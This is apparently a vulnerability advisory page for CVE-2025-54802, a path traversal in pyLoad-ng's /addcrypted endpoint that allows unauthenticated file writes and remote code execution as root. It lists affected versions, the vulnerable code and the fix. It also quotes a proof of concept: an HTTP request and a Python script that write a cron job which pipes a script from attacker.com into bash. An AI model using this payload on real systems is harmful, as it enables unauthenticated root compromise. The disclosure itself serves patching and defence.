---
id: "CVE-2025-54802"
page: "https://infrastack.ai/live/CVE-2025-54802"
kind: "vulnerability"
aliases: ["CVE-2025-54802", "GHSA-48rp-jc79-2264"]
title: "pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)"
severity: "critical"
cvss: 9.8
epss: 0.0139
exploited: false
status: "open"
category: "package"
products: [{"name": "pyload-ng", "fixed": ["0.5.0b3.dev90"], "affected": "<= 0.5.0b3.dev89", "ecosystem": "pypi"}, {"name": "pyload-ng project pyload-ng", "fixed": [], "affected": "= 0.5.0b3.dev89", "ecosystem": "vendor"}]
ecosystems: ["pypi", "vendor"]
tags: ["cwe-22", "package", "pyload", "python", "self-hosted"]
not_affected_if: ["auth-required", "default-config"]
published_at: "2025-08-04T15:57:48+00:00"
first_seen_at: "2026-11-16T16:08:25+00:00"
updated_at: "2026-11-16T16:38:06+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-48rp-jc79-2264", "first_seen_at": "2026-11-16T16:08:25+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54802", "first_seen_at": "2026-11-16T16:38:06+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.0139, "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-54802"}]
---

# pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

Link for people: https://infrastack.ai/live/CVE-2025-54802 (this .md is for agents)

pyLoad-ng's /addcrypted endpoint builds a file path from the package form field without stripping traversal sequences, so an unauthenticated request can write files anywhere the process can write. The advisory says an attacker can overwrite cron jobs or systemd services to run code as root.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pyload-ng affected <= 0.5.0b3.dev89 fixed 0.5.0b3.dev90
- vendor:pyload-ng project pyload-ng affected = 0.5.0b3.dev89 fixed no fixed version listed

## How to check

- Check the installed version with `pip show pyload-ng`; versions at or below `0.5.0b3.dev89` are affected.
- Check whether the web interface is reachable from untrusted networks, since the endpoint is `POST /addcrypted`.

## Fix

- `pyload-ng` `0.5.0b3.dev90` (fixed version per the product ranges).

## Timeline

- 2026-11-16T16:08:25+00:00 ghsa https://github.com/advisories/GHSA-48rp-jc79-2264
- 2026-11-16T16:38:06+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-54802

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/pyload/pyload/security-advisories/GHSA-48rp-jc79-2264
- [advisory] Maintainer's advisory: github.com https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264
- [fix] Patch: github.com https://github.com/pyload/pyload/pull/4596
- [fix] Patch: github.com https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4

## From the sources

### Summary
**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.



### Details
* **Endpoint**: `POST /addcrypted`
* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`

#### Vulnerable Code
```python
 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 
```

### PoC
```http
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
```

Decoded payload:
```bash
* * * * * root curl -s http://attacker.com/r.sh | bash
```

**Send crafted POST**
```python
import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})
```


### Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
